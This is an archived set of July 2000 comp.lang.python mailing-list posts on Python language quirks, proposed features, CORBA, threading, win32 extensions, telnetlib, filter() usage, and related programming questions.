> a = ""

>     Amazing, that.  Automagical conversion from None to an emptry string on
> the assignment operator.  Actually, we both know, and correct me as I may be
> wrong, that it is really reassigning the data space a is pointing to.

Yes, in Python, assignment is *always* a rebinding of the reference. There's
never anything being copied.

>     However, if we want to create the namespace with nothing we cannot because
> we cannot convert it for later use.

That's because you want to convert everything to everything else. In
Python, you don't have this kind of anything to anything else conversion.
If you want to get rid of None, then assign something else to your variable.
You can't do anything with None (except display it and check for it), as 
there's no commonly accepted thing to do with None. Just like there's no
real sense in adding "foo" to 155.

[snips]
>     Like I said, every language has its quirks.  Every language.

Yes, though you're really finding some quirks where they're none; you
just coming with the wrong set of assumptions (Perl's). A few years ago
I tried to learn Perl but happily gave up as soon as I found Python --
Python's assumptions just make more sense than Perl's to me. 

[snip]
>     And just for fun, here's a good quirk for you.  

> None = 1
> a = None
>>>> if a:
> ...   print "foo\n"
> ... 
> foo

>>>> a
> 1

>     I think that is kinda neat, don't you?  

Yeah, that's a pretty awful quirk, I discovered that one a few months ago
and was aghast. Luckily this type of thing rarely happens in Python
(only when you explictly say None = <something>, which is easy enough
to avoid). But it should be forbidden, I think. Trouble is that this would
introduce a special case in the clean name rebinding that is assignment
in Python currently. There's no way to say 'don't rebind this name' in Python,
I think.

[snip]
>     I just don't understand how people can advocate for types and the
> restrictions they impose while, on the other hand, embracing a language that
> is free enough to shoot yourself in the foot by reassigning None.

The difference is of course that reassigning None is extraordinarily rare,
as it can *only* happen when you really write an assignment with None
(not a variable referencing None, no, just 'None') on the left hand
side. Python is by the way *not* a language with 'types and restrictions'
according to most people that come to Python. :)

>     Shoot yourself with "conversion" or with assignments like this, either way
> your foot is shot.  I say learn proper gun safty and aim it elsewhere.  ;)
> Seriously, that isn't to say that None should be restricted from being
> changed, just, uh, anyone know how to change it back aside from restarting
> python?  :)

Cute question. Hm.. 

Yes:

None = __builtins__.None

Now for the real problem:

__builtins__.None = 1

Uh oh.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From david_ullrich at my-deja.com  Sat Jul 15 13:56:35 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Sat, 15 Jul 2000 17:56:35 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <8kq8kc$guk$1@nnrp1.deja.com>

In article <8knl04$1c9b$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> In article <8knhql$lpi$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com>
wrote:
> >   It's explicitly provided in Python as well.
>
> No, that's just the point - it's not explicitly provided; instead the
> implementation is exposed.  You can assign to the __class__ slot, you
> can initialise any new slots, and delete any that the new class
> doesn't have.  But does anything say "yes, this is all you need to do,
> and it will work in all implementations"?  Apparently not.
>
> >   Changing the methods of the instance also counts as
> >a sneaky don't-do-that.
>
> I thought you'd say that :-)

    Well it's exactly what I was doing once because I was
a lot more clever than the guys who said I shouldn't. And
then I decided quite suddenly that they were right. (At the
end of a _long_ stretch trying to figure out why the heck
something wasn't working - of course the answer is the
object in question was very different from the object it
appeared it should be...)

> > Whatever it is you're trying to
> >do there's a way to do it in legitimate Python without
> >this sort of thing.
>
> Ok, I trying to directly model a rather abstract specification - the
> XML Infoset - as Python objects.  I then want to to perform the action
> of XML Schema validation on this modelled infoset, which is defined to
> add various properties to the infoset.  Various methods need to be
> changed to take account of the new properties.  It is thus natural for
> the class of the objects after validation to be a subclass of what
> they were before.
>
> Now obviously it can be done in many ways as a programming task, and
> others might be better in engineering terms.  One might produce a new
> infoset containing objects from the subclasses.  But to directly model
> the specification of the validation process, changing the classes, or
> adding slots and changing methods, seems the natural way.

    So it's something like the value of infoset.__class__
changes when you call infoset.validate(schema)? Seems a
little spooky to me (and evidently not only to me). If the
new class is always a subclass of the original that's maybe
a little more natural, but I really don't see the point
to changing the class of the object instead of just constructing
a new object. Like you pass a WellFormedInfoset to something
or call some method of one and get back an instance of a
subclass of ValidInfoset. I don't see why changing the class
of a single instance is more natural than constructing an
instance of a new class. You could have a subclass of
ValidInfoset for each schema (not sure whether that makes
sense - you know what I mean if it doesn't). Like maybe

class ValidatedInfoset:
  def __init__(self, AWellFormedInfoset):
    self.info = AWellFormedInfoset
    self.Validate(self.info)

and the Validate method does various things in various
subclasses, raising an exception on failure.

    There's a lot I don't know about programming in
general and about what you're doing in particular, but
I don't see what the advantage of what you're doing has
over some scheme like this.

> -- Richard
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From swun at eSec.com.au  Tue Jul 25 22:51:58 2000
From: swun at eSec.com.au (Sam Wun)
Date: Wed, 26 Jul 2000 12:51:58 +1000
Subject: how to know number of threads are running.
Message-ID: <397E524E.412FE123@eSec.com.au>

thanks
Sam.




From loewis at informatik.hu-berlin.de  Wed Jul 19 12:40:23 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 19 Jul 2000 18:40:23 +0200
Subject: CORBA refrence
References: <Pine.WNT.4.21.0007191814580.434-100000@ilsnt0396.iil.intel.com>
Message-ID: <p6q3dl6ysy0.fsf@informatik.hu-berlin.de>

Miki Tebeka <mtebeka at intel.com> writes:

> Any pointers on using Python with CORBA?

Sure. There is a OMG-adopted language mapping, at

http://cgi.omg.org/cgi-bin/doc?ptc/00-04-08.pdf

There is a number of implementations of that mapping as well. In order
of appearance:

ILU:          ftp://ftp.parc.xerox.com/pub/ilu/ilu.html
Fnorb:        http://www.fnorb.com
omniORBpy:    http://www.uk.research.att.com/omniORB/omniORBpy/
orbit-python: http://sourceforge.net/project/?group_id=3561
[They look like they are ordered by increasing name length :-]

These implementations differ in ease-of-installation, degree of
conformance to the mapping spec (or to CORBA Core), additional
features offered, performance, portability, and so on.

Discussion of CORBA and Python typically takes place on the DO SIG,

http://www.python.org/sigs/do-sig/

Regards,
Martin


From see at my.signature  Mon Jul 24 02:05:59 2000
From: see at my.signature (Greg Ewing)
Date: Mon, 24 Jul 2000 18:05:59 +1200
Subject: Erm... might I suggest... (Re: New PEP: Attribute Access Handlers)
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com> <8F797551Agmcmhypernetcom@199.171.54.194>
Message-ID: <397BDCC6.9C498F01@my.signature>

Gordon McMillan wrote:
> 
> Paul forgot to tell you that the first
> proposal said that defining one or more of __set/get/del_XXX__
> automatically defines all 3, with default behavior of "you can't do that".

I really like the idea of accessor functions, but I
think the current proposal is marred by some less-than-
desirable features that seem to be artifacts of the
proposed implementation.

I assume that the main reason for funnelling all three
accessors through a single function stems from the desire to
be able to look up the function using an interned string,
and if it were necessary to turn "foo" into "__get_foo__" etc.
on the fly, that wouldn't be possible.

However, this could be easily dealt with by keeping a cache
of translations from attribute names to interned accessor names.

So, I'd like to suggest a much simpler (to my way of thinking)
version of the proposal, in which there are three completely
independent accessor functions for each attribute, which behave
in the normal way with respect to inheritance, etc.

The advantages I see are:

1. Simpler to explain and understand.
2. More efficient - no need to dynamically switch on an operation
   code inside the accessor.
3. Doesn't magically put any names in the class dict that weren't
   explicitly put there by the programmer.
4. As a consequence of 3, doesn't preclude having a real attribute with
   the same name in either the class or instance dict.

-- 
Greg Ewing, Computer Science Dept, University of Canterbury,	  
Christchurch, New Zealand
To get my email address, please visit my web page:	  
http://www.cosc.canterbury.ac.nz/~greg


From aahz at netcom.com  Wed Jul 19 20:26:46 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 20 Jul 2000 00:26:46 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com>
Message-ID: <8l5h06$7q$1@slb7.atl.mindspring.net>

In article <Pine.BSF.4.10.10007191838040.26945-100000 at chi.pair.com>,
Michal Wallace  <sabren at manifestation.com> wrote:
>
>I accidentally deleted the list of proposed names for "zip()", so I'm
>not sure if this was alrady mentioned..  I think merge makes sense,
>(and I don't really have a problem with zip()), but the metaphor that
>most closely resembles what it does is braid(), as in hair..

I could go for this, too.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From peter at schneider-kamp.de  Sun Jul 23 02:41:15 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 06:41:15 +0000
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com>
Message-ID: <397A938B.B7F1EC97@schneider-kamp.de>

ahmed Bouferguene wrote:
> 
> a = [1,2,34]
> b=["a", "b", "d"]
> 
> for x in a, y in b :
>     print x, y
> 
> and the loop exits when the shortest list is exhausted

minlen = min(len(a), len(b))
for x,y in map(None, a[:minlen], b[:minlen]):
  print x, y

In Python 2.0 you will probably be able to do:

for x,y in zip(a,b):
  print x, y

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From neilh at scintilla.org  Fri Jul  7 23:52:44 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sat, 08 Jul 2000 03:52:44 GMT
Subject: Splitting c.l.py...
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us> <39661DE1.A409330C@roguewave.com> <20000707140442.B4771@kronos.cnri.reston.va.us>
Message-ID: <gAx95.10327$Tb7.69583@news-server.bigpond.net.au>

> Beats me.  Hmm... here's a possibility: ...  Essentially the newsgroup
would
> be a read-only view of the python-dev mailing list.

   But would it be of interest to anyone? python-dev has a much worse
signal-to-noise ratio than comp.lang.python IMHO. One morning this week I
opened up my mailer in the morning to see over 100 messages in python-dev
and less than 80 in c.l.py.

   The traffic in python-dev alternates between checkin chat (there's a CVS
lock here,  that patch breaks on X, when will you finish Y?) and
language/library design issues. I can see a reason for some of the detailed
design issues to be decided on the same forum as the checkin chat with a
limited group of people, but some of the larger issues should be debated in
a wider forum. Was there any reason for "urllib.browse() issues" to be on
python-dev?

   Possibly comp.lang.python is also a bad forum for discussing future
changes to Python and should concentrate on solving peoples current problems
and avoiding long winded discussions on new functionality. So a
comp.lang.python.future (or similar mailing list) could provide a way for
/all/ Pythoneers to be involved in the evolution of the language.

   Neil




From jae at ilk.de  Wed Jul 26 15:11:46 2000
From: jae at ilk.de (=?ISO-8859-1?Q?=22J=FCrgen_A=2E_Erhard=22?=)
Date: Wed, 26 Jul 2000 21:11:46 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
In-Reply-To: <8ln84n$380$1@gaia.cdg.acriter.nl> (cg@gaia.cdg.acriter.nl)
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl>
Message-ID: <26072000.1@sanctum.local.jae.ddns.org>

>>>>> "Cees" == Cees de Groot <cg at gaia.cdg.acriter.nl> writes:

    Cees> David Arnold  <davida at pobox.com> said:
    >> it's impressive how much hype can be generated for a product that is
    >> still years away from general release ;-)
    >> 
    Cees> ...and is soooo innovative that it does exactly the same thing as Java
    Cees> and the JVM, only five years later and at the vaporware stage. There's
    Cees> only one company that can pull this off, and I sincerely hope they'll
    Cees> choke in it this time.

Well, not to mention that Java is *sooo* innovative... compared to the
UCSD p-System.  ;-)

Bye, J

-- 
J?rgen A. Erhard      eMail: jae at ilk.de      phone: (GERMANY) 0721 27326
          My WebHome: http://members.tripod.com/Juergen_Erhard
                    Bill Gates brought you Windows.
                Linus brought you the whole DAMN HOUSE!
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 248 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20000726/020681b5/attachment.sig>

From aa8vb at yahoo.com  Fri Jul 14 12:39:51 2000
From: aa8vb at yahoo.com (Randall Hopper)
Date: Fri, 14 Jul 2000 12:39:51 -0400
Subject: OpenDX Python Wrapper -- any interest?
In-Reply-To:  <yfmya35q84l.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>; from
 luthi@vaw.baug.ethz.antispam.ch on Fri, Jul 14, 2000 at 01:11:22PM +0200
References: <20000515112219.C1304991@vislab.epa.gov>
 <8i323b$c4s$1@nnrp2.deja.com>
 <yfmya35q84l.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <20000714123951.A2023787@vislab.epa.gov>

luthi at vaw.baug.ethz.antispam.ch:
 |I am highly interested in this project!

I packaged it up and made it available a few weeks ago.  Here's what I
posted to -announce:

------------------------------------------------------------------------------
For those that work with IBM Data Explorer, I've put some OpenDX wrappers
up at:

   http://www.freebsd.org/~rhh/py-opendx/

Currently just the DXLink library is wrapped.

I found this useful for developing a prototype Python/Tk GUI interface on
top of dxexec.  Python folks already know what a big win this is over
C/X/Motif.

This version uses the new [a recent anyway] Python Distutils, so
installation should be a snap.  Let me know if you have any questions or
problems with it.
------------------------------------------------------------------------------

-- 
Randall Hopper
aa8vb at yahoo.com



From scarblac-spamtrap at pino.selwerd.nl.bbs  Mon Jul 17 12:10:02 2000
From: scarblac-spamtrap at pino.selwerd.nl.bbs (scarblac-spamtrap at pino.selwerd.nl.bbs)
Date: 17 Jul 2000 16:10:02 GMT
Subject: converting tcl database file to python
Message-ID: <3bRHaQ$m5z@openbazaar.net>

Bob van der Poel wrote in comp.lang.python:
> Bob Schmertz wrote:
> > Did you consider a CdItem class?
>
> No. I've looked at them but the one thing  that bothered me is that
> after defining a class (aka structure) one is free to add variables a
> will.

But the same is true for dictionaries and lists anyway... Why do you think
it will be a problem? Are you going to add harmful things (like what?) in
your sleep? ;-)

Imo, if you have a problem defining a structure and it's more complex than a
simple list or dictionary, it's time to write a class.

> Yes. started a bit this PM. I think that what I'll do is write a
> conversion in tcl and end up with a very-verbose datafile format. With
> PentiumIIs who cares about a few extra cycles of overhead parsing a
> file. I've just gotta get into the 21th century.

Or let the program write its output as Python style expressions, so you can
eval them again like the Tcl did :-)


--
Remco Gerlich,  scarblac at pino.selwerd.nl
  5:57pm  up 133 days,  6:07,  6 users,  load average: 0.53, 0.33, 0.13


From robin at jessikat.fsnet.co.uk  Mon Jul 24 07:28:11 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Mon, 24 Jul 2000 12:28:11 +0100
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com>
 <8l6vul$5ig$1@slb3.atl.mindspring.net>
 <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com>
 <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain>
 <m3n1j73iuz.fsf@chinon.cnrs-orleans.fr>
Message-ID: <ZP29QXALhCf5EwmX@jessikat.fsnet.co.uk>

In article <m3n1j73iuz.fsf at chinon.cnrs-orleans.fr>, Konrad Hinsen
<hinsen at cnrs-orleans.fr> writes
....
>What are "Greg's indexing rules"? Inner and outer product are entirely
>different operations in my mind, although in principle the inner
>product can be thought of as an outer product followed by a summation.
>I think that implementation issues also call for separate operators;
>using indexing tricks might be difficult for sparse matrices, for
>example.
>
....
outer products (of vectors at least) are inner products with the second
vector being transposed. There is of course a general tensor notation,
but as Python lacks the distinction between sub/super scripts that's a
bit difficult.

One thing I personally find very strange is that very few in this thread
seem to want to make the default multiplication operation * into the
default matrix multiply. I suppose early language designers have decided
this for all time so all choose the unusual element wise operation.
-- 
Robin Becker


From dittoC at ix.netcom.com  Tue Jul 18 14:37:57 2000
From: dittoC at ix.netcom.com (David Cattarin)
Date: Tue, 18 Jul 2000 18:37:57 GMT
Subject: Windows NT select.select( )
Message-ID: <8l2862$4n1$1@nnrp1.deja.com>

I recently had to write an EventLoop class to replace the
asyncore.poll( ) function since I need to support timers
as well as sockets in my application. There was an oddity
under Windows NT that when no sockets were registered to
the socket_map select failed. This code worked fine under
UNIX. For example, select( [ ], [ ], [ ], 5 ) will
raise a "file does not exist" error under Windows NT.

Has anyone else noticed this? I've worked around it by
creating an unconnected socket and placing it in the
exception list; ie. select( [ ], [ ], [ s ], 5 ). This
allows the code to work under Windows and UNIX.

I am using Python 1.5.2, the precompiled version. I am
pretty sure it is just a Windows NT oddity and not a
Python problem, but I was curious if anyone knew more.
Or even a better way to fix this.

Thanks for your help.

--
Ditto
    In the English language two positives never form a negative.
                      "Yeah, right."


Sent via Deja.com http://www.deja.com/
Before you buy.


From kuchler at ajubasolutions.com  Fri Jul 28 16:31:29 2000
From: kuchler at ajubasolutions.com (Dan Kuchler)
Date: Fri, 28 Jul 2000 13:31:29 -0700
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net>
		<398126DE.6E2C2627@ajubasolutions.com> <m3k8e6q7qr.fsf@bluepeak.westend.com>
Message-ID: <3981EDA1.1CB1CE07@ajubasolutions.com>

Andreas Kupries wrote:
> 
> <quote http://www.perl.org/perl6/initial_meeting.html>
> > Syntax separation - multiple syntaxes ?
> > Perl6 offers the possibility to ... write Perl programs in multiple
> > syntaxes such as Python, JavaScript, and Perl5 ...
> 
> This reminds me of Guile, which tried to do the same thing, no ?
> Universal lisp engine below, multiple formats for programming it
> above. Here just with the perl engine below. A try to unify
> interpreters ? See also Jean-Claude's Minotaur, using a forth engine
> below and beside interpreters for several scripting languages to allow
> them to use each other (and their extensions) hither and fro. With the
> long-term goal to make each interpreter a set of routines above the
> universal forth engine below. Hm.
> 

I understood this to mean that for perl 6 they might try to architect
it into a front-end/back-end style where the front-end has a parsing
engine (and translator to byte codes or some intermediary language?)
and then the backend provides the code for actually implementing the
various commands.

If done correctly, only the perl front end would have to be
implemented,
but it would give others the opportunity for trying to write some
new syntax (which could be like tcl, python, etc.) that would work
with the existing perl backend.

That was how I envisioned that bullet might be implemented..

--Dan


From gmcm at hypernet.com.bbs  Mon Jul 17 19:30:02 2000
From: gmcm at hypernet.com.bbs (gmcm at hypernet.com.bbs)
Date: 17 Jul 2000 23:30:02 GMT
Subject: Event set/clear/wait
Message-ID: <3bRTAQ$kuG@openbazaar.net>

j vickroy wrote:

>How can software be written to determine when it is "safe" to *clear* a
>threading.Event that has previously been *set*?

>"safe" is intended to convey the notion that all threads issuing a
>*wait* on the event are no-longer blocking because of it.

You don't need to worry about it. All waiting threads are notified while
the setter holds the lock. Once notified, they don't look to see if the
Event is set or clear - they're unblocked.

- Gordon


From lull at acm.org  Thu Jul 20 10:08:02 2000
From: lull at acm.org (John Lull)
Date: 20 Jul 2000 09:08:02 -0500
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m3og3tkvw3.fsf@chinon.cnrs-orleans.fr>
Message-ID: <eh1ensci5geucmudp9cboulb6lu0bg7ntj@4ax.com>

Konrad Hinsen <hinsen at cnrs-orleans.fr> wrote:

> But there are other alternatives. How about operators in parentheses?
> a (*) b looks fine to me, and it is currently illegal so it can't cause
> compatibility problems. I'd even claim that it somewhat *looks* like
> a matrix operation.

Yes, it does.  Another alternative might be a [*] b.

Regards,
John


From amitp at Xenon.Stanford.EDU  Thu Jul 27 18:34:22 2000
From: amitp at Xenon.Stanford.EDU (Amit Patel)
Date: 27 Jul 2000 22:34:22 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l52hs$i05$1@kopp.stud.ntnu.no>
Message-ID: <8lqdde$s24$1@nntp.Stanford.EDU>

 Magnus Lie Hetland <mlh at idi.ntnu.no> wrote:
| >
| > Be sure to check out stackless Python, which has some advantages for
| > game scripting:
| >
| > http://www.stackless.com/
| 
| What exactly *are* these advantages? (Very curious...)

One thing that may be possible is if the "stack" frames are
pickle-able, persistence in your game could include not only what your
objects are, but what they are *doing*, e.g., the Town Crier could be
in the middle of running line 34 of cry_wolf(), and you could save
that stack frame, as well as the stack frames of the callers.  That
way you could restore the game, and all the threads would pick up
right where they were!  Persistence is the main reason I got
interested in stackless in general (nor specifically Python
stackless).

    - Amit


-- 
--
Amit J Patel, Computer Science Department, Stanford University
http://www-cs-students.stanford.edu/~amitp/


From eq3pvl at eq.uc.pt.bbs  Mon Jul 17 06:50:03 2000
From: eq3pvl at eq.uc.pt.bbs (eq3pvl at eq.uc.pt.bbs)
Date: 17 Jul 2000 10:50:03 GMT
Subject: I'm confused with win32pipe
Message-ID: <3bR9KS$l4D@openbazaar.net>

I need to run some commands on a win98 computer and I'm
having some problems to understand win32pipe behavior

If I write

     (pin, pout) = win32pipe.popen4(r'copy c:\tmp\*.* c:\tmp2\','t')

the script copies some of the files (not all!).

I have some questions. The first is where can I find more documentation
for win32pipe (the pythonwin reference is very short) ?.
Is the process run in a subprocess? What's the meaning of the 't' and
'b' flags?

Thanks for the attention,

pedro lima


From bragib at my-deja.com  Mon Jul 31 16:50:08 2000
From: bragib at my-deja.com (bragib at my-deja.com)
Date: Mon, 31 Jul 2000 20:50:08 GMT
Subject: telnetlib
References: <20000729152800.B1899@reepicheep.avalongroup.net> <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com> <20000731091354.A1319@reepicheep.avalongroup.net> <8m4g7c$8pr$1@nnrp1.deja.com>
Message-ID: <8m4opv$fpi$1@nnrp1.deja.com>

Maybe you can offer some suggestions on this:
This is a repost as I am still clueless!

 Bragi


 I am trying to telnet from a UNIX box to an NT to get the doskeys. The
NT that I login to runs a
 couple of .bat
 scripts which clear the screen set up some stuff etc.  When I try to do
a read_all() it fails the first
 time with the
 exception:
 Traceback (innermost last):
   File "telnet.py", line 17, in ?
     tn.read_all()
   File "/usr/abaqus60/5-0_copy/source/Python/Lib/telnetlib.py", line
229, in read_all
     self.fill_rawq()
   File "/usr/abaqus60/5-0_copy/source/Python/Lib/telnetlib.py", line
367, in fill_rawq
     buf = self.sock.recv(50)
 socket.error: (131, 'Connection reset by peer')


 That is why I put the first try in a try: except: clause.  The second
time I try to do a read_all() it
 works fine but I
 don't get all the keys I am missing some of the first keys.  I assume
that the first read_all()
 actually did read
 some stuff and then the second read got the rest.

 Can anyone see anything obviously wrong with this.


 Thanks, Bragi

 import sys
 import telnetlib
 HOST = 'shadow'
 USER = 'bragi'
 tn = telnetlib.Telnet()
 tn.open(HOST)
 tn.read_until("login: ")
 tn.write(USER+'\r\n')
 tn.read_until("password: ")
 tn.write('my_password\r\n')
 tn.write('doskey /macros\r\n')
 tn.write('exit\r\n')
 print 'done'
 try:
     all1 = tn.read_all()
 except:
     pass
 all = tn.read_all()
 print all


Sent via Deja.com http://www.deja.com/
Before you buy.


From dcalvelo at pharion.univ-lille2.fr  Tue Jul 18 13:47:07 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 18 Jul 2000 17:47:07 GMT
Subject: Using filter()
References: <8l1o9h$pto$1@news.rchland.ibm.com>
Message-ID: <8l256r$d7n$1@netserv.univ-lille1.fr>

Larry Whitley <ldw at us.ibm.com> wrote:
: I have a simple problem and from the description, filter() seems like a
: match.  But I can't figure out how to make it work.  Here's the code without
: using filter()

: include string, os

: def filter1( fileList, name ):
: #--------------------------------------------------------
: # matches name to the first characters of a file in the file list
:  temp = []
:  for i in range(len(fileList)):
:     if string.find( fileList[i], name ) == 0:
:         temp.append( fileList[i] )
:  return temp

This:

filter( lambda x,sf=string.find: sf(x, name )==0, fileList )

gives you back the same result. In this and filter2(), the point
of using the built-in filter is to move out of the loop and design
the test function element-wise. filter then does the job.

: def filter2( filelist, aString ):
: #-------------------------------------------------
: # finds aString somewhere in the file list
:  temp = []
:  for i in range(len(filelist)):
:     if string.find( filelist[i], aString ) != -1: # is in the string
: somewhere
:         temp.append( filelist[i] )
:  return temp

Likewise:

filter( lambda x,sf=string.find: sf(x, name ) !=-1, fileList )

[snip main]

: I suspect using filter() would simplify this.  Can someone help?

: Larry

HTH

docstrings-are-your-friend-if-not-then-they-are-enemies-to-be-feared-ly y'rs

Daniel.

-- Daniel Calvelo Aros
     calvelo at lifl.fr


From garry at sage.att.com  Mon Jul 10 14:21:42 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Mon, 10 Jul 2000 18:21:42 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com>
Message-ID: <396A1436.3B6BD73B@sage.att.com>

"Thaddeus L. Olczyk" wrote:

> Java is not a variant of C++.

of course it is.  it's c++ with training wheels.

> Java is a very different variant of C .

for exceptionally large values of "very", perhaps.

> Otherwise it
> would not be so popular. After all, if it were a C++ variant why would
> people go to all the trouble to switch from C++.

well, many people are not switching, but learning java instead.
those who switch often do so because they like the simplifications
java offers vs. c++, or have been burned by its complexity, or they like
the standardised environment and toolset, or whatever.  perhaps they 
just got sucked in by the hype machine.  who knows.  but much of java's
initial popularity was because it was so similar to c++ that the
learning curve was relatively low.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From gmcm at hypernet.com  Sun Jul  2 09:07:44 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 02 Jul 2000 13:07:44 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie> <395f2748.1996610@news.iol.ie> <395f27ab.2095753@news.iol.ie>
Message-ID: <8F655BA3Egmcmhypernetcom@199.171.54.154>

[posted and mailed]

Sean Mc Grath wrote:

>Sheesh! I really need a holiday! 

Probably <wink>!

>I have a reproduceable GPF on NT when pickling objects of a class
>that has a __getattr__ implementation. Take out the __getattr__ and
>the pickle works fine.
>
>Are there ways to implement __getattr__ and yet preserve the ability
>to pickle?

C'mon Sean! You've been around a while. You know when __getattr__ hacks go 
bad it's because they go recursive. (And the stack size on Windows is off 
by  some tiny amount, so it GPFs instead of traps.)

So what do we need:

>>> class A:
...  def __getattr__(self, nm):
...   print "get", nm
...   raise AttributeError, nm
...
>>> a = A()
>>> import pickle
>>> s = pickle.dumps(a)
get __getinitargs__
get __getstate__
>>> x = pickle.loads(s)
get __setstate__
>>> import cPickle
>>> s = cPickle.dumps(a)
get __getinitargs__
get __getstate__
>>> x = cPickle.loads(s)
get __setstate__
>>> 

Do you have a __getinitargs__ or __getstate__ or __setstate__ that might be 
triggering a call to __getattr__?

Does an Irishman like to talk?

- Gordon


From stephen_purcell at yahoo.com  Fri Jul 28 06:26:15 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Fri, 28 Jul 2000 20:26:15 +1000
Subject: Win32 drive mapping... aka "net use"
In-Reply-To: <8lr9nc$tdf$1@nnrp1.deja.com>; from lshuler@my-deja.com on Fri, Jul 28, 2000 at 06:37:32AM +0000
References: <8lr9nc$tdf$1@nnrp1.deja.com>
Message-ID: <20000728202615.B15002@inkontact.com.au>

lshuler at my-deja.com wrote:
> Is there an API using Win32 extensions to map a
> drive share? I have not found one yet and have
> tried searching "Win32 map drive". I am looking
> for the equivalent of:
> 
> net use <share path>

Yes, look at the 'win32wnet' module provided with Mark Hammond's Win32
extensions:

  http://starship.python.net/crew/mhammond/win32/Downloads.html 

If I recall correctly, there is an example therein.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From gfortune at micron.net  Sun Jul 23 21:26:02 2000
From: gfortune at micron.net (Greg Fortune)
Date: Sun, 23 Jul 2000 18:26:02 -0700
Subject: newbie: Mysql
References: <397AA44A.DE16654C@mediaone.net>
Message-ID: <rZMe5.203$49.29501@news03.micron.net>

Hmmm, good question.

To get a MySQL module, go to http://dustman.net/andy/python/MySQLdb/
and download the 0.2.1 release.  The readme included with the module will
give you a brief description of its functions.  I haven't ever tried it on a
windows box, but it works great for linux.


If you havn't been to http://www.vex.net/parnassus/, take a look.  They have
a nifty tutorial section about lots of python related stuff.

Greg Fortune

Ricky Chaudhary <rchaudhary at mediaone.net> wrote in message
news:397AA44A.DE16654C at mediaone.net...
>
> Hi,
>
> I am new to python, and would like to access a MySQL database using
> python. Does anybody know of a simple tutorial on the internet that I
> could use.
>
> Thanks,
> RC




From fig at oreilly.com  Wed Jul 12 16:55:51 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Wed, 12 Jul 2000 20:55:51 GMT
Subject: python/win9x and contour plots
References: <m34s5wuxw7.fsf@localhost.localdomain>
Message-ID: <396CDB9E.6F6AA3@oreilly.com>

Eric Haageman has given some examples of using DISLIN with Python on the
O'Reilly Network.  It works okay on my Win98 system.  You can find
articles in his column at:

  http://www.oreillynet.com/pub/q/numerically_python

I don't know how well DISLIN can handle an irregular grid, if it can at
all. But it does seem pretty easy to use with Python. 

